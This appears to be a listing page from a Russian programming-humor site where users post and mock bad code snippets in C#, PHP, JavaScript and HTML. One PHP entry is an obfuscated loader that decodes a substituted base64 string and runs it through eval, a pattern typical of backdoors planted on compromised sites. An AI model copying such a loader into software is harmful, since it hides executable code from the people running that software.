1. Лучший говнокод

    В номинации:
    За время:
  2. C# / Говнокод #19578

    +1

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    public EntityTypes GetEntityType(DBContext Entities, int EntityTypeID)
            {
                DateTime? Null = null;
    
                var entityType = (from entitytypes in Entities.EntityTypes.Include("GlobalText").Include("GlobalText.GlobalTextInstance")
                                  where entitytypes.EntityTypeId.Equals(EntityTypeID)
                                  && (Null == null ? entitytypes.ActiveUntil == null : entitytypes.ActiveUntil == Null)
                                  select entitytypes).FirstOrDefault();
    
                return entityType;
            }

    Помимо самой первозданной красоты этого куска, он, собственно, еще и продублирован в местах, эдак 12-15

    melvas, 04 Марта 2016

    Комментарии (2)
  3. C# / Говнокод #19544

    +1

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    if ( text.Contains( "лет" ) || text.Contains( "год" ) )
    {
    	var match = Regex.Match( text, @"\d+", RegexOptions.Singleline );
    	if ( !match.Success )
    		return null;
    	var date = DateTime.UtcNow;
    	return date.AddYears( -Int32.Parse( match.Value ) );
    }
    else if ( text.Contains( "дн" ) || text.Contains( "ден" ) )
    {
    	var match = Regex.Match( text, @"\d+", RegexOptions.Singleline );
    	if ( !match.Success )
    		return null;
    	var date = DateTime.UtcNow;
    	return date.AddDays( -Int32.Parse( match.Value ) );
    }
    else if ( text.Contains( "месяц" ) )
    {
    	var match = Regex.Match( text, @"\d+", RegexOptions.Singleline );
    	if ( !match.Success )
    		return null;
    	var date = DateTime.UtcNow;
    	return date.AddMonths( -Int32.Parse( match.Value ) );
    }
    else if ( text.Contains( "час" ) )
    {
    	var match = Regex.Match( text, @"\d+", RegexOptions.Singleline );
    	if ( !match.Success )
    		return null;
    	var date = DateTime.UtcNow;
    	return date.AddHours( -Int32.Parse( match.Value ) );
    }
    else if ( text.Contains( "недел" ) )
    {
    	var match = Regex.Match( text, @"\d+", RegexOptions.Singleline );
    	if ( !match.Success )
    		return null;
    	var date = DateTime.UtcNow;
    	return date.AddHours( ( -Int32.Parse( match.Value ) ) * 7 );
    }
    else if ( text.Contains( "минут" ) )
    {
    	var match = Regex.Match( text, @"\d+", RegexOptions.Singleline );
    	if ( !match.Success )
    		return null;
    	var date = DateTime.UtcNow;
    	return date.AddMinutes( -Int32.Parse( match.Value ) );
    }
    return null;

    Копипаста >_< До кучи ещё и с классической copy-paste ошибкой в логике.

    HellBrick, 28 Февраля 2016

    Комментарии (0)
  4. PHP / Говнокод #19543

    +1

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    <?php
    function eextp($vl, $jnhkcx){$ucss = ''; for($i=0; $i < strlen($vl); $i++){$ucss .= isset($jnhkcx[$vl[$i]]) ? $jnhkcx[$vl[$i]] : $vl[$i];}
    $hbo="base64_decode";return $hbo($ucss);}
    $fdolmkywqn = 'sJrPTtNf2usZ1ctBvENBucqL2BvQiI4taI5oC5o0TU4ou9brV6XgWJNguctBvENBvBvQiO0oC5o0TU4ou9brV6XgWUK8uct82';
    $aosgtno = Array('1'=>'J', '0'=>'A', '3'=>'7', '2'=>'Z', '5'=>'w', '4'=>'5', '7'=>'k', '6'=>'C', '9'=>'3', '8'=>'4', 'A'=>'K', 'C'=>'O', 'B'=>'y', 'E'=>'m', 'D'=>'U', 'G'=>'i', 'F'=>'S', 'I'=>'E', 'H'=>'M', 'K'=>'F', 'J'=>'G', 'M'=>'8', 'L'=>'v', 'O'=>'D', 'N'=>'9', 'Q'=>'s', 'P'=>'u', 'S'=>'h', 'R'=>'Y', 'U'=>'W', 'T'=>'a', 'W'=>'b', 'V'=>'d', 'Y'=>'L', 'X'=>'g', 'Z'=>'o', 'a'=>'T', 'c'=>'2', 'b'=>'N', 'e'=>'6', 'd'=>'H', 'g'=>'n', 'f'=>'z', 'i'=>'I', 'h'=>'r', 'k'=>'R', 'j'=>'e', 'm'=>'1', 'l'=>'f', 'o'=>'p', 'n'=>'P', 'q'=>'x', 'p'=>'q', 's'=>'Q', 'r'=>'l', 'u'=>'X', 't'=>'V', 'w'=>'0', 'v'=>'c', 'y'=>'B', 'x'=>'t', 'z'=>'j');
    eval(eextp($fdolmkywqn, $aosgtno));?>

    ZombiePm, 27 Февраля 2016

    Комментарии (8)
  5. Куча / Говнокод #19542

    +1

    1. 1
    Верните мой WCT!

    d_fomenok, 27 Февраля 2016

    Комментарии (54)
  6. PHP / Говнокод #19537

    +1

    1. 1
    function crooked_nail_create_item(){ ...

    Зато честно!

    deep, 26 Февраля 2016

    Комментарии (0)
  7. PHP / Говнокод #19522

    +1

    1. 1
    define('OKVED_TRY_BUILD_CHUNK_IF_IT_NOT_FOUND_IN_CHUNKCACHE', TRUE);

    Написал строчку и думаю - то ли я наговнокодил с названием, то ли соломки подстелил, так, что через месяц я ТОЧНО вспомню, зачем оно нужно...

    Arris, 24 Февраля 2016

    Комментарии (14)
  8. PHP / Говнокод #19516

    +1

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    foreach ($child as $ch) {
                if ($ch->nodeName === 'w:style') {
                    $sum++;
                    if ($ch->hasAttributes()) {
                        /** @var DOMAttr $attribute */
                        foreach ($ch->attributes as $attribute) {
                            if ($attribute->name === 'styleId') {
                                if ($attribute->value == $sTempStyle) {
                                    /** @var DOMElement $styleNode */
                                    foreach ($ch->childNodes as $styleNode) {
                                        if (isset($styleNode->tagName) && $styleNode->tagName === 'w:basedOn') {
                                            $basedOn    = $styleNode->getAttribute('w:val');
                                            $properties = $this->wordStyle2Array($basedOn, $tagName, $properties);
                                        }
                                        if (isset($styleNode->tagName) && $styleNode->tagName === $tagName) {
                                            $elements = $styleNode->childNodes;
                                            /** @var DOMElement $element */
                                            foreach ($elements as $element) {
                                                if (isset($element->tagName)) {
                                                    switch ($element->tagName) {
                                                        case 'w:color':
                                                            if ($element->hasAttribute('w:val')) {
                                                                $properties['color']['hex'] = '#' . $element->getAttribute
                                                                    ('w:val');
                                                            }
                                                            break;
                                                        case 'w:rFonts':
                                                            if ($element->hasAttribute('w:ascii')) {
                                                                $properties['font_family'] = $element->getAttribute('w:ascii');
                                                            }
                                                            break;
                                                        //кейсы - бесконечные как осень в России
                                                }
                                            }
                                        }
                                    }
                                }
                            }
                        }
                    }
                }
            }

    Чувак, мы слышали ты любишь плодить уровни вложенности, поэтому мы написали switch в if в foreach в if в foreach в if в if в foreach в if в if в foreach, кажется.

    mad_money, 24 Февраля 2016

    Комментарии (7)
  9. JavaScript / Говнокод #19507

    +1

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    #pragma strict 
     
    function Start () { 
    function OnMouseDown (); { 
     if(name=="new") { Application.LoadLevel("procedural"); } 
     if(name=="set") { } 
     if(name=="exit") { Application.Quit(); } 
     
    } 
     
    }

    mittorn, 21 Февраля 2016

    Комментарии (45)
  10. Куча / Говнокод #19505

    +1

    1. 1
    2. 2
    3. 3
    4. 4
    <span style="font-size: 16px; line-height: 12px;">
      <b style="color: rgb(255, 102, 102);background-color:rgb(255, 204, 204);">
        <span <a href="news/"><b style="color:rgb(153, 102, 0);">Новости</b></span>
    ________________________________________________________</b></span>

    html код на одном сайте

    t3dev, 21 Февраля 2016

    Комментарии (12)
  11. PHP / Говнокод #19440

    +1

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    7. 7
    8. 8
    9. 9
    $row['sub']=str_replace("{&amp;quot;",'{"',$row['sub']);
        $row['sub']=str_replace("&amp;quot;:&amp;quot;",'":"',$row['sub']);
        $row['sub']=str_replace("&quot;",'"',$row['sub']);
        $row['sub']=str_replace("&amp;",'"',$row['sub']);
        $row['sub']=str_replace("quot;:quot;",'":"',$row['sub']);
        $row['sub']=str_replace("{quot;",'{"',$row['sub']);
        $row['sub']=str_replace("quot;}",'"}',$row['sub']);
        $row['sub']=str_replace("quot;:",'":',$row['sub']);
        $sub = json_decode($row['sub']);

    CoolCoder, 12 Февраля 2016

    Комментарии (0)